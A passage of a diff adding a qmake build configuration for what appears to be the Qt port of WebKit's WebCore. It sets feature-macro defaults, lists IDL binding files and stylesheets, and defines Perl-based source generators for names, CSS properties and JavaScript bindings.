+    DEFINES+=ENABLE_DATABASE=0 ENABLE_DOM_STORAGE=0 ENABLE_ICONDATABASE=0 ENABLE_WORKERS=0 ENABLE_SHARED_WORKERS=0
+}
+
+# turn off SQLITE support if we do not have sqlite3 available
+!CONFIG(QTDIR_build):win32-*:!exists( $${SQLITE3SRCDIR}/sqlite3.c ): DEFINES += ENABLE_SQLITE=0 ENABLE_DATABASE=0 ENABLE_WORKERS=0 ENABLE_SHARED_WORKERS=0 ENABLE_ICONDATABASE=0 ENABLE_OFFLINE_WEB_APPLICATIONS=0 ENABLE_DOM_STORAGE=0
+
+!contains(DEFINES, ENABLE_JAVASCRIPT_DEBUGGER=.): DEFINES += ENABLE_JAVASCRIPT_DEBUGGER=1
+!contains(DEFINES, ENABLE_DATABASE=.): DEFINES += ENABLE_DATABASE=1
+!contains(DEFINES, ENABLE_EVENTSOURCE=.): DEFINES += ENABLE_EVENTSOURCE=1
+!contains(DEFINES, ENABLE_OFFLINE_WEB_APPLICATIONS=.): DEFINES += ENABLE_OFFLINE_WEB_APPLICATIONS=1
+!contains(DEFINES, ENABLE_DOM_STORAGE=.): DEFINES += ENABLE_DOM_STORAGE=1
+!contains(DEFINES, ENABLE_ICONDATABASE=.): DEFINES += ENABLE_ICONDATABASE=1
+!contains(DEFINES, ENABLE_CHANNEL_MESSAGING=.): DEFINES += ENABLE_CHANNEL_MESSAGING=1
+!contains(DEFINES, ENABLE_ORIENTATION_EVENTS=.): DEFINES += ENABLE_ORIENTATION_EVENTS=0
+
+# turn on SQLITE support if any of the dependent features are turned on
+!contains(DEFINES, ENABLE_SQLITE=.) {
+  contains(DEFINES, ENABLE_DATABASE=1)|contains(DEFINES, ENABLE_ICONDATABASE=1)|contains(DEFINES, ENABLE_DOM_STORAGE=1)|contains(DEFINES, ENABLE_OFFLINE_WEB_APPLICATIONS=1) {
+    DEFINES += ENABLE_SQLITE=1
+  } else {
+    DEFINES += ENABLE_SQLITE=0
+  }
+}
+
+!contains(DEFINES, ENABLE_DASHBOARD_SUPPORT=.): DEFINES += ENABLE_DASHBOARD_SUPPORT=0
+!contains(DEFINES, ENABLE_FILTERS=.): DEFINES += ENABLE_FILTERS=1
+!contains(DEFINES, ENABLE_XPATH=.): DEFINES += ENABLE_XPATH=1
+#!contains(DEFINES, ENABLE_XBL=.): DEFINES += ENABLE_XBL=1
+!contains(DEFINES, ENABLE_WCSS=.): DEFINES += ENABLE_WCSS=0
+!contains(DEFINES, ENABLE_WML=.): DEFINES += ENABLE_WML=0
+!contains(DEFINES, ENABLE_SHARED_WORKERS=.): DEFINES += ENABLE_SHARED_WORKERS=1
+!contains(DEFINES, ENABLE_WORKERS=.): DEFINES += ENABLE_WORKERS=1
+!contains(DEFINES, ENABLE_XHTMLMP=.): DEFINES += ENABLE_XHTMLMP=0
+!contains(DEFINES, ENABLE_DATAGRID=.): DEFINES += ENABLE_DATAGRID=0
+!contains(DEFINES, ENABLE_VIDEO=.): DEFINES += ENABLE_VIDEO=1
+!contains(DEFINES, ENABLE_RUBY=.): DEFINES += ENABLE_RUBY=1
+!contains(DEFINES, ENABLE_SANDBOX=.): DEFINES += ENABLE_SANDBOX=1
+!contains(DEFINES, ENABLE_PROGRESS_TAG=.): DEFINES += ENABLE_PROGRESS_TAG=1
+!contains(DEFINES, ENABLE_BLOB_SLICE=.): DEFINES += ENABLE_BLOB_SLICE=0
+
+greaterThan(QT_MINOR_VERSION, 5) {
+    !contains(DEFINES, ENABLE_3D_RENDERING=.): DEFINES += ENABLE_3D_RENDERING=1
+}
+
+# SVG support
+!contains(DEFINES, ENABLE_SVG=0) {
+    !contains(DEFINES, ENABLE_SVG=.): DEFINES += ENABLE_SVG=1
+    !contains(DEFINES, ENABLE_SVG_FONTS=.): DEFINES += ENABLE_SVG_FONTS=1
+    !contains(DEFINES, ENABLE_SVG_FOREIGN_OBJECT=.): DEFINES += ENABLE_SVG_FOREIGN_OBJECT=1
+    !contains(DEFINES, ENABLE_SVG_ANIMATION=.): DEFINES += ENABLE_SVG_ANIMATION=1
+    !contains(DEFINES, ENABLE_SVG_AS_IMAGE=.): DEFINES += ENABLE_SVG_AS_IMAGE=1
+    !contains(DEFINES, ENABLE_SVG_USE=.): DEFINES += ENABLE_SVG_USE=1
+} else {
+    DEFINES += ENABLE_SVG_FONTS=0 ENABLE_SVG_FOREIGN_OBJECT=0 ENABLE_SVG_ANIMATION=0 ENABLE_SVG_AS_IMAGE=0 ENABLE_SVG_USE=0
+}
+
+# HTML5 media support
+!contains(DEFINES, ENABLE_VIDEO=.): DEFINES += ENABLE_VIDEO=1
+
+# HTML5 datalist support
+!contains(DEFINES, ENABLE_DATALIST=.): DEFINES += ENABLE_DATALIST=1
+
+# Tiled Backing Store support
+greaterThan(QT_MINOR_VERSION, 5) {
+    !contains(DEFINES, ENABLE_TILED_BACKING_STORE=.): DEFINES += ENABLE_TILED_BACKING_STORE=1
+}
+
+# Nescape plugins support (NPAPI)
+!contains(DEFINES, ENABLE_NETSCAPE_PLUGIN_API=.) {
+    unix|win32-*:!embedded:!wince*: {
+        DEFINES += ENABLE_NETSCAPE_PLUGIN_API=1
+    } else {
+        DEFINES += ENABLE_NETSCAPE_PLUGIN_API=0
+    }
+}
+
+# Web Socket support.
+!contains(DEFINES, ENABLE_WEB_SOCKETS=.): DEFINES += ENABLE_WEB_SOCKETS=1
+
+# XSLT support with QtXmlPatterns
+!contains(DEFINES, ENABLE_XSLT=.) {
+    contains(QT_CONFIG, xmlpatterns):DEFINES += ENABLE_XSLT=1
+    else:DEFINES += ENABLE_XSLT=0
+}
+
+!CONFIG(QTDIR_build):!contains(DEFINES, ENABLE_QT_BEARER=.) {
+    symbian: {
+        exists($${EPOCROOT}epoc32/release/winscw/udeb/QtBearer.lib)| \
+        exists($${EPOCROOT}epoc32/release/armv5/lib/QtBearer.lib) {
+            DEFINES += ENABLE_QT_BEARER=1
+        }
+    }
+}
+
+# Bearer management is part of Qt 4.7
+!lessThan(QT_MINOR_VERSION, 7):!contains(DEFINES, ENABLE_QT_BEARER=.):DEFINES += ENABLE_QT_BEARER=1
+
+# Enable touch event support with Qt 4.6
+!lessThan(QT_MINOR_VERSION, 6): DEFINES += ENABLE_TOUCH_EVENTS=1
+
+# Used to compute defaults for the build-webkit script
+CONFIG(compute_defaults) {
+    message($$DEFINES)
+    error("Done computing defaults")
+}
+
+contains(DEFINES, ENABLE_WCSS=1) {
+    contains(DEFINES, ENABLE_XHTMLMP=0) {
+        DEFINES -= ENABLE_XHTMLMP=0
+        DEFINES += ENABLE_XHTMLMP=1
+    }
+}
+
+## Forward enabled feature macros to JavaScript enabled features macros
+FEATURE_DEFINES_JAVASCRIPT = LANGUAGE_JAVASCRIPT=1
+contains(DEFINES, ENABLE_CHANNEL_MESSAGING=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_CHANNEL_MESSAGING=1
+contains(DEFINES, ENABLE_ORIENTATION_EVENTS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_ORIENTATION_EVENTS=1
+contains(DEFINES, ENABLE_DASHBOARD_SUPPORT=0): DASHBOARDSUPPORTCSSPROPERTIES -= $$PWD/css/DashboardSupportCSSPropertyNames.in
+contains(DEFINES, ENABLE_DATAGRID=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_DATAGRID=1
+contains(DEFINES, ENABLE_EVENTSOURCE=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_EVENTSOURCE=1
+contains(DEFINES, ENABLE_DATABASE=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_DATABASE=1
+contains(DEFINES, ENABLE_DATALIST=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_DATALIST=1
+contains(DEFINES, ENABLE_DOM_STORAGE=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_DOM_STORAGE=1
+contains(DEFINES, ENABLE_SHARED_SCRIPT=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_SHARED_SCRIPT=1
+contains(DEFINES, ENABLE_WORKERS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_WORKERS=1
+contains(DEFINES, ENABLE_SHARED_WORKERS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_SHARED_WORKERS=1
+contains(DEFINES, ENABLE_VIDEO=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_VIDEO=1
+contains(DEFINES, ENABLE_XPATH=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_XPATH=1
+contains(DEFINES, ENABLE_XSLT=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_XSLT=1
+contains(DEFINES, ENABLE_XBL=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_XBL=1
+contains(DEFINES, ENABLE_FILTERS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_FILTERS=1
+contains(DEFINES, ENABLE_WCSS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_WCSS=1
+contains(DEFINES, ENABLE_WML=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_WML=1
+contains(DEFINES, ENABLE_XHTMLMP=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_XHTMLMP=1
+contains(DEFINES, ENABLE_SVG=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_SVG=1
+contains(DEFINES, ENABLE_JAVASCRIPT_DEBUGGER=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_JAVASCRIPT_DEBUGGER=1
+contains(DEFINES, ENABLE_OFFLINE_WEB_APPLICATIONS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_OFFLINE_WEB_APPLICATIONS=1
+contains(DEFINES, ENABLE_WEB_SOCKETS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_WEB_SOCKETS=1
+contains(DEFINES, ENABLE_TOUCH_EVENTS=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_TOUCH_EVENTS=1
+contains(DEFINES, ENABLE_TILED_BACKING_STORE=1): FEATURE_DEFINES_JAVASCRIPT += ENABLE_TILED_BACKING_STORE=1
+
+
+## Derived source generators
+WML_NAMES = $$PWD/wml/WMLTagNames.in
+
+SVG_NAMES = $$PWD/svg/svgtags.in
+
+XLINK_NAMES = $$PWD/svg/xlinkattrs.in
+
+TOKENIZER = $$PWD/css/tokenizer.flex
+
+DOCTYPESTRINGS = $$PWD/html/DocTypeStrings.gperf
+
+CSSBISON = $$PWD/css/CSSGrammar.y
+
+HTML_NAMES = $$PWD/html/HTMLTagNames.in
+
+XML_NAMES = $$PWD/xml/xmlattrs.in
+
+XMLNS_NAMES = $$PWD/xml/xmlnsattrs.in
+
+ENTITIES_GPERF = $$PWD/html/HTMLEntityNames.gperf
+
+COLORDAT_GPERF = $$PWD/platform/ColorData.gperf
+
+WALDOCSSPROPS = $$PWD/css/CSSPropertyNames.in
+
+WALDOCSSVALUES = $$PWD/css/CSSValueKeywords.in
+
+DASHBOARDSUPPORTCSSPROPERTIES = $$PWD/css/DashboardSupportCSSPropertyNames.in
+
+XPATHBISON = $$PWD/xml/XPathGrammar.y
+
+contains(DEFINES, ENABLE_SVG=1) {
+    EXTRACSSPROPERTIES += $$PWD/css/SVGCSSPropertyNames.in
+    EXTRACSSVALUES += $$PWD/css/SVGCSSValueKeywords.in
+}
+
+contains(DEFINES, ENABLE_WCSS=1) {
+    EXTRACSSPROPERTIES += $$PWD/css/WCSSPropertyNames.in
+    EXTRACSSVALUES += $$PWD/css/WCSSValueKeywords.in
+}
+
+STYLESHEETS_EMBED = \
+    $$PWD/css/html.css \
+    $$PWD/css/quirks.css \
+    $$PWD/css/svg.css \
+    $$PWD/css/view-source.css \
+    $$PWD/css/wml.css \
+    $$PWD/css/mediaControls.css \
+    $$PWD/css/mediaControlsQt.css \
+    $$PWD/css/themeQtNoListboxes.css \
+    $$PWD/css/themeQtMaemo5.css
+
+IDL_BINDINGS += \
+    css/Counter.idl \
+    css/CSSCharsetRule.idl \
+    css/CSSFontFaceRule.idl \
+    css/CSSImportRule.idl \
+    css/CSSMediaRule.idl \
+    css/CSSPageRule.idl \
+    css/CSSPrimitiveValue.idl \
+    css/CSSRule.idl \
+    css/CSSRuleList.idl \
+    css/CSSStyleDeclaration.idl \
+    css/CSSStyleRule.idl \
+    css/CSSStyleSheet.idl \
+    css/CSSValue.idl \
+    css/CSSValueList.idl \
+    css/CSSVariablesDeclaration.idl \
+    css/CSSVariablesRule.idl \
+    css/Media.idl \
+    css/MediaList.idl \
+    css/RGBColor.idl \
+    css/Rect.idl \
+    css/StyleSheet.idl \
+    css/StyleSheetList.idl \
+    css/WebKitCSSKeyframeRule.idl \
+    css/WebKitCSSKeyframesRule.idl \
+    css/WebKitCSSMatrix.idl \
+    css/WebKitCSSTransformValue.idl \
+    dom/Attr.idl \
+    dom/BeforeLoadEvent.idl \
+    dom/CharacterData.idl \
+    dom/ClientRect.idl \
+    dom/ClientRectList.idl \
+    dom/Clipboard.idl \
+    dom/CDATASection.idl \
+    dom/Comment.idl \
+    dom/CompositionEvent.idl \
+    dom/CustomEvent.idl \
+    dom/DocumentFragment.idl \
+    dom/Document.idl \
+    dom/DocumentType.idl \
+    dom/DOMCoreException.idl \
+    dom/DOMImplementation.idl \
+    dom/Element.idl \
+    dom/Entity.idl \
+    dom/EntityReference.idl \
+    dom/ErrorEvent.idl \
+    dom/Event.idl \
+    dom/EventException.idl \
+#    dom/EventListener.idl \
+#    dom/EventTarget.idl \
+    dom/KeyboardEvent.idl \
+    dom/MouseEvent.idl \
+    dom/MessageChannel.idl \
+    dom/MessageEvent.idl \
+    dom/MessagePort.idl \
+    dom/MutationEvent.idl \
+    dom/NamedNodeMap.idl \
+    dom/Node.idl \
+    dom/NodeFilter.idl \
+    dom/NodeIterator.idl \
+    dom/NodeList.idl \
+    dom/Notation.idl \
+    dom/OverflowEvent.idl \
+    dom/PageTransitionEvent.idl \
+    dom/PopStateEvent.idl \
+    dom/ProcessingInstruction.idl \
+    dom/ProgressEvent.idl \
+    dom/RangeException.idl \
+    dom/Range.idl \
+    dom/Text.idl \
+    dom/TextEvent.idl \
+    dom/Touch.idl \
+    dom/TouchEvent.idl \
+    dom/TouchList.idl \
+    dom/TreeWalker.idl \
+    dom/UIEvent.idl \
+    dom/WebKitAnimationEvent.idl \
+    dom/WebKitTransitionEvent.idl \
+    dom/WheelEvent.idl \
+    html/Blob.idl \
+    html/canvas/WebGLArray.idl \
+    html/canvas/WebGLArrayBuffer.idl \
+    html/canvas/WebGLByteArray.idl \
+    html/canvas/WebGLFloatArray.idl \
+    html/canvas/CanvasGradient.idl \
+    html/canvas/WebGLIntArray.idl \
+    html/canvas/CanvasPattern.idl \
+    html/canvas/CanvasRenderingContext.idl \
+    html/canvas/CanvasRenderingContext2D.idl \
+    html/canvas/WebGLActiveInfo.idl \
+    html/canvas/WebGLBuffer.idl \
+    html/canvas/WebGLContextAttributes.idl \
+    html/canvas/WebGLFramebuffer.idl \
+    html/canvas/WebGLProgram.idl \
+    html/canvas/WebGLRenderbuffer.idl \
+    html/canvas/WebGLRenderingContext.idl \
+    html/canvas/WebGLShader.idl \
+    html/canvas/WebGLShortArray.idl \
+    html/canvas/WebGLTexture.idl \
+    html/canvas/WebGLUniformLocation.idl \
+    html/canvas/WebGLUnsignedByteArray.idl \
+    html/canvas/WebGLUnsignedIntArray.idl \
+    html/canvas/WebGLUnsignedShortArray.idl \
+    html/DataGridColumn.idl \
+    html/DataGridColumnList.idl \
+    html/DOMFormData.idl \
+    html/File.idl \
+    html/FileList.idl \
+    html/HTMLAllCollection.idl \
+    html/HTMLAudioElement.idl \
+    html/HTMLAnchorElement.idl \
+    html/HTMLAppletElement.idl \
+    html/HTMLAreaElement.idl \
+    html/HTMLBaseElement.idl \
+    html/HTMLBaseFontElement.idl \
+    html/HTMLBlockquoteElement.idl \
+    html/HTMLBodyElement.idl \
+    html/HTMLBRElement.idl \
+    html/HTMLButtonElement.idl \
+    html/HTMLCanvasElement.idl \
+    html/HTMLCollection.idl \
+    html/HTMLDataGridElement.idl \
+    html/HTMLDataGridCellElement.idl \
+    html/HTMLDataGridColElement.idl \
+    html/HTMLDataGridRowElement.idl \
+    html/HTMLDataListElement.idl \
+    html/HTMLDirectoryElement.idl \
+    html/HTMLDivElement.idl \
+    html/HTMLDListElement.idl \
+    html/HTMLDocument.idl \
+    html/HTMLElement.idl \
+    html/HTMLEmbedElement.idl \
+    html/HTMLFieldSetElement.idl \
+    html/HTMLFontElement.idl \
+    html/HTMLFormElement.idl \
+    html/HTMLFrameElement.idl \
+    html/HTMLFrameSetElement.idl \
+    html/HTMLHeadElement.idl \
+    html/HTMLHeadingElement.idl \
+    html/HTMLHRElement.idl \
+    html/HTMLHtmlElement.idl \
+    html/HTMLIFrameElement.idl \
+    html/HTMLImageElement.idl \
+    html/HTMLInputElement.idl \
+    html/HTMLIsIndexElement.idl \
+    html/HTMLLabelElement.idl \
+    html/HTMLLegendElement.idl \
+    html/HTMLLIElement.idl \
+    html/HTMLLinkElement.idl \
+    html/HTMLMapElement.idl \
+    html/HTMLMarqueeElement.idl \
+    html/HTMLMediaElement.idl \
+    html/HTMLMenuElement.idl \
+    html/HTMLMetaElement.idl \
+    html/HTMLModElement.idl \
+    html/HTMLObjectElement.idl \
+    html/HTMLOListElement.idl \
+    html/HTMLOptGroupElement.idl \
+    html/HTMLOptionElement.idl \
+    html/HTMLOptionsCollection.idl \
+    html/HTMLParagraphElement.idl \
+    html/HTMLParamElement.idl \
+    html/HTMLPreElement.idl \
+    html/HTMLProgressElement.idl \
+    html/HTMLQuoteElement.idl \
+    html/HTMLScriptElement.idl \
+    html/HTMLSelectElement.idl \
+    html/HTMLSourceElement.idl \
+    html/HTMLStyleElement.idl \
+    html/HTMLTableCaptionElement.idl \
+    html/HTMLTableCellElement.idl \
+    html/HTMLTableColElement.idl \
+    html/HTMLTableElement.idl \
+    html/HTMLTableRowElement.idl \
+    html/HTMLTableSectionElement.idl \
+    html/HTMLTextAreaElement.idl \
+    html/HTMLTitleElement.idl \
+    html/HTMLUListElement.idl \
+    html/HTMLVideoElement.idl \
+    html/ImageData.idl \
+    html/MediaError.idl \
+    html/TextMetrics.idl \
+    html/TimeRanges.idl \
+    html/ValidityState.idl \
+    html/VoidCallback.idl \
+    inspector/InjectedScriptHost.idl \
+    inspector/InspectorBackend.idl \
+    inspector/InspectorFrontendHost.idl \
+    inspector/JavaScriptCallFrame.idl \
+    loader/appcache/DOMApplicationCache.idl \
+    page/BarInfo.idl \
+    page/Console.idl \
+    page/Coordinates.idl \
+    page/DOMSelection.idl \
+    page/DOMWindow.idl \
+    page/EventSource.idl \
+    page/Geolocation.idl \
+    page/Geoposition.idl \
+    page/History.idl \
+    page/Location.idl \
+    page/Navigator.idl \
+    page/PositionError.idl \
+    page/Screen.idl \
+    page/WebKitPoint.idl \
+    page/WorkerNavigator.idl \
+    plugins/Plugin.idl \
+    plugins/MimeType.idl \
+    plugins/PluginArray.idl \
+    plugins/MimeTypeArray.idl \
+    storage/Database.idl \
+    storage/Storage.idl \
+    storage/StorageEvent.idl \
+    storage/SQLError.idl \
+    storage/SQLResultSet.idl \
+    storage/SQLResultSetRowList.idl \
+    storage/SQLTransaction.idl \
+    svg/SVGZoomEvent.idl \
+    svg/SVGAElement.idl \
+    svg/SVGAltGlyphElement.idl \
+    svg/SVGAngle.idl \
+    svg/SVGAnimateColorElement.idl \
+    svg/SVGAnimatedAngle.idl \
+    svg/SVGAnimatedBoolean.idl \
+    svg/SVGAnimatedEnumeration.idl \
+    svg/SVGAnimatedInteger.idl \
+    svg/SVGAnimatedLength.idl \
+    svg/SVGAnimatedLengthList.idl \
+    svg/SVGAnimatedNumber.idl \
+    svg/SVGAnimatedNumberList.idl \
+    svg/SVGAnimatedPreserveAspectRatio.idl \
+    svg/SVGAnimatedRect.idl \
+    svg/SVGAnimatedString.idl \
+    svg/SVGAnimatedTransformList.idl \
+    svg/SVGAnimateElement.idl \
+    svg/SVGAnimateTransformElement.idl \
+    svg/SVGAnimationElement.idl \
+    svg/SVGCircleElement.idl \
+    svg/SVGClipPathElement.idl \
+    svg/SVGColor.idl \
+    svg/SVGComponentTransferFunctionElement.idl \
+    svg/SVGCursorElement.idl \
+    svg/SVGDefsElement.idl \
+    svg/SVGDescElement.idl \
+    svg/SVGDocument.idl \
+    svg/SVGElement.idl \
+    svg/SVGElementInstance.idl \
+    svg/SVGElementInstanceList.idl \
+    svg/SVGEllipseElement.idl \
+    svg/SVGException.idl \
+    svg/SVGFEBlendElement.idl \
+    svg/SVGFEColorMatrixElement.idl \
+    svg/SVGFEComponentTransferElement.idl \
+    svg/SVGFECompositeElement.idl \
+    svg/SVGFEDiffuseLightingElement.idl \
+    svg/SVGFEDisplacementMapElement.idl \
+    svg/SVGFEDistantLightElement.idl \
+    svg/SVGFEFloodElement.idl \
+    svg/SVGFEFuncAElement.idl \
+    svg/SVGFEFuncBElement.idl \
+    svg/SVGFEFuncGElement.idl \
+    svg/SVGFEFuncRElement.idl \
+    svg/SVGFEGaussianBlurElement.idl \
+    svg/SVGFEImageElement.idl \
+    svg/SVGFEMergeElement.idl \
+    svg/SVGFEMergeNodeElement.idl \
+    svg/SVGFEMorphologyElement.idl \
+    svg/SVGFEOffsetElement.idl \
+    svg/SVGFEPointLightElement.idl \
+    svg/SVGFESpecularLightingElement.idl \
+    svg/SVGFESpotLightElement.idl \
+    svg/SVGFETileElement.idl \
+    svg/SVGFETurbulenceElement.idl \
+    svg/SVGFilterElement.idl \
+    svg/SVGFontElement.idl \
+    svg/SVGFontFaceElement.idl \
+    svg/SVGFontFaceFormatElement.idl \
+    svg/SVGFontFaceNameElement.idl \
+    svg/SVGFontFaceSrcElement.idl \
+    svg/SVGFontFaceUriElement.idl \
+    svg/SVGForeignObjectElement.idl \
+    svg/SVGGElement.idl \
+    svg/SVGGlyphElement.idl \
+    svg/SVGGradientElement.idl \
+    svg/SVGHKernElement.idl \
+    svg/SVGImageElement.idl \
+    svg/SVGLength.idl \
+    svg/SVGLengthList.idl \
+    svg/SVGLinearGradientElement.idl \
+    svg/SVGLineElement.idl \
+    svg/SVGMarkerElement.idl \
+    svg/SVGMaskElement.idl \
+    svg/SVGMatrix.idl \
+    svg/SVGMetadataElement.idl \
+    svg/SVGMissingGlyphElement.idl \
+    svg/SVGNumber.idl \
+    svg/SVGNumberList.idl \
+    svg/SVGPaint.idl \
+    svg/SVGPathElement.idl \
+    svg/SVGPathSegArcAbs.idl \
+    svg/SVGPathSegArcRel.idl \
+    svg/SVGPathSegClosePath.idl \
+    svg/SVGPathSegCurvetoCubicAbs.idl \
+    svg/SVGPathSegCurvetoCubicRel.idl \
+    svg/SVGPathSegCurvetoCubicSmoothAbs.idl \
+    svg/SVGPathSegCurvetoCubicSmoothRel.idl \
+    svg/SVGPathSegCurvetoQuadraticAbs.idl \
+    svg/SVGPathSegCurvetoQuadraticRel.idl \
+    svg/SVGPathSegCurvetoQuadraticSmoothAbs.idl \
+    svg/SVGPathSegCurvetoQuadraticSmoothRel.idl \
+    svg/SVGPathSeg.idl \
+    svg/SVGPathSegLinetoAbs.idl \
+    svg/SVGPathSegLinetoHorizontalAbs.idl \
+    svg/SVGPathSegLinetoHorizontalRel.idl \
+    svg/SVGPathSegLinetoRel.idl \
+    svg/SVGPathSegLinetoVerticalAbs.idl \
+    svg/SVGPathSegLinetoVerticalRel.idl \
+    svg/SVGPathSegList.idl \
+    svg/SVGPathSegMovetoAbs.idl \
+    svg/SVGPathSegMovetoRel.idl \
+    svg/SVGPatternElement.idl \
+    svg/SVGPoint.idl \
+    svg/SVGPointList.idl \
+    svg/SVGPolygonElement.idl \
+    svg/SVGPolylineElement.idl \
+    svg/SVGPreserveAspectRatio.idl \
+    svg/SVGRadialGradientElement.idl \
+    svg/SVGRectElement.idl \
+    svg/SVGRect.idl \
+    svg/SVGRenderingIntent.idl \
+    svg/SVGScriptElement.idl \
+    svg/SVGSetElement.idl \
+    svg/SVGStopElement.idl \
+    svg/SVGStringList.idl \
+    svg/SVGStyleElement.idl \
+    svg/SVGSVGElement.idl \
+    svg/SVGSwitchElement.idl \
+    svg/SVGSymbolElement.idl \
+    svg/SVGTextContentElement.idl \
+    svg/SVGTextElement.idl \
+    svg/SVGTextPathElement.idl \
+    svg/SVGTextPositioningElement.idl \
+    svg/SVGTitleElement.idl \
+    svg/SVGTransform.idl \
+    svg/SVGTransformList.idl \
+    svg/SVGTRefElement.idl \
+    svg/SVGTSpanElement.idl \
+    svg/SVGUnitTypes.idl \
+    svg/SVGUseElement.idl \
+    svg/SVGViewElement.idl \
+    websockets/WebSocket.idl \
+    workers/AbstractWorker.idl \
+    workers/DedicatedWorkerContext.idl \
+    workers/SharedWorker.idl \
+    workers/SharedWorkerContext.idl \
+    workers/Worker.idl \
+    workers/WorkerContext.idl \
+    workers/WorkerLocation.idl \
+    xml/DOMParser.idl \
+    xml/XMLHttpRequest.idl \
+    xml/XMLHttpRequestException.idl \
+    xml/XMLHttpRequestProgressEvent.idl \
+    xml/XMLHttpRequestUpload.idl \
+    xml/XMLSerializer.idl \
+    xml/XPathNSResolver.idl \
+    xml/XPathException.idl \
+    xml/XPathExpression.idl \
+    xml/XPathResult.idl \
+    xml/XPathEvaluator.idl \
+    xml/XSLTProcessor.idl
+
+contains(DEFINES, ENABLE_WML=1) {
+    wmlnames.output = $${WC_GENERATED_SOURCES_DIR}/WMLNames.cpp
+    wmlnames.input = WML_NAMES
+    wmlnames.wkScript = $$PWD/dom/make_names.pl
+    wmlnames.commands = perl -I$$PWD/bindings/scripts $$wmlnames.wkScript --tags $$PWD/wml/WMLTagNames.in --attrs $$PWD/wml/WMLAttributeNames.in --extraDefines \"$${DEFINES}\" --preprocessor \"$${QMAKE_MOC} -E\" --factory --wrapperFactory --outputDir $$WC_GENERATED_SOURCES_DIR
+    wmlnames.wkExtraSources = $${WC_GENERATED_SOURCES_DIR}/WMLElementFactory.cpp
+    addExtraCompiler(wmlnames)
+}
+
+contains(DEFINES, ENABLE_SVG=1) {
+    # GENERATOR 5-C:
+    svgnames.output = $${WC_GENERATED_SOURCES_DIR}/SVGNames.cpp
+    svgnames.input = SVG_NAMES
+    svgnames.wkScript = $$PWD/dom/make_names.pl
+    svgnames.commands = perl -I$$PWD/bindings/scripts $$svgnames.wkScript --tags $$PWD/svg/svgtags.in --attrs $$PWD/svg/svgattrs.in --extraDefines \"$${DEFINES}\" --preprocessor \"$${QMAKE_MOC} -E\" --factory --wrapperFactory --outputDir $$WC_GENERATED_SOURCES_DIR
+    svgnames.wkExtraSources = $${WC_GENERATED_SOURCES_DIR}/SVGElementFactory.cpp $${WC_GENERATED_SOURCES_DIR}/JSSVGElementWrapperFactory.cpp
+    addExtraCompiler(svgnames)
+}
+
+# GENERATOR 5-D:
+xlinknames.output = $${WC_GENERATED_SOURCES_DIR}/XLinkNames.cpp
+xlinknames.wkScript = $$PWD/dom/make_names.pl
+xlinknames.commands = perl -I$$PWD/bindings/scripts $$xlinknames.wkScript --attrs $$PWD/svg/xlinkattrs.in --preprocessor \"$${QMAKE_MOC} -E\" --outputDir $$WC_GENERATED_SOURCES_DIR
+xlinknames.input = XLINK_NAMES
+addExtraCompiler(xlinknames)
+
+# GENERATOR 6-A:
+cssprops.output = $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.cpp
+cssprops.input = WALDOCSSPROPS
+cssprops.wkScript = $$PWD/css/makeprop.pl
+cssprops.commands = perl -ne \"print lc\" ${QMAKE_FILE_NAME} $${DASHBOARDSUPPORTCSSPROPERTIES} $${EXTRACSSPROPERTIES} > $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.in && cd $$WC_GENERATED_SOURCES_DIR && perl $$cssprops.wkScript && $(DEL_FILE) ${QMAKE_FILE_BASE}.in ${QMAKE_FILE_BASE}.gperf
+cssprops.depends = ${QMAKE_FILE_NAME} $${DASHBOARDSUPPORTCSSPROPERTIES} $${EXTRACSSPROPERTIES}
+addExtraCompiler(cssprops)
+
+# GENERATOR 6-B:
+cssvalues.output = $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.c
+cssvalues.input = WALDOCSSVALUES
+cssvalues.wkScript = $$PWD/css/makevalues.pl
+cssvalues.commands = perl -ne \"print lc\" ${QMAKE_FILE_NAME} $$EXTRACSSVALUES > $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.in && cd $$WC_GENERATED_SOURCES_DIR && perl $$cssvalues.wkScript && $(DEL_FILE) ${QMAKE_FILE_BASE}.in ${QMAKE_FILE_BASE}.gperf
+cssvalues.depends = ${QMAKE_FILE_NAME} $${EXTRACSSVALUES}
+cssvalues.clean = ${QMAKE_FILE_OUT} ${QMAKE_VAR_WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.h
+addExtraCompiler(cssvalues)
+
+# GENERATOR 1: IDL compiler
+idl.output = $${WC_GENERATED_SOURCES_DIR}/JS${QMAKE_FILE_BASE}.cpp
+idl.input = IDL_BINDINGS
+idl.wkScript = $$PWD/bindings/scripts/generate-bindings.pl
+idl.commands = perl -I$$PWD/bindings/scripts $$idl.wkScript --defines \"$${FEATURE_DEFINES_JAVASCRIPT}\" --generator JS --include $$PWD/dom --include $$PWD/html --include $$PWD/xml --include $$PWD/svg --outputDir $$WC_GENERATED_SOURCES_DIR --preprocessor \"$${QMAKE_MOC} -E\" ${QMAKE_FILE_NAME}
+idl.depends = $$PWD/bindings/scripts/CodeGenerator.pm \
+              $$PWD/bindings/scripts/CodeGeneratorJS.pm \
+              $$PWD/bindings/scripts/IDLParser.pm \
+              $$PWD/bindings/scripts/IDLStructure.pm \
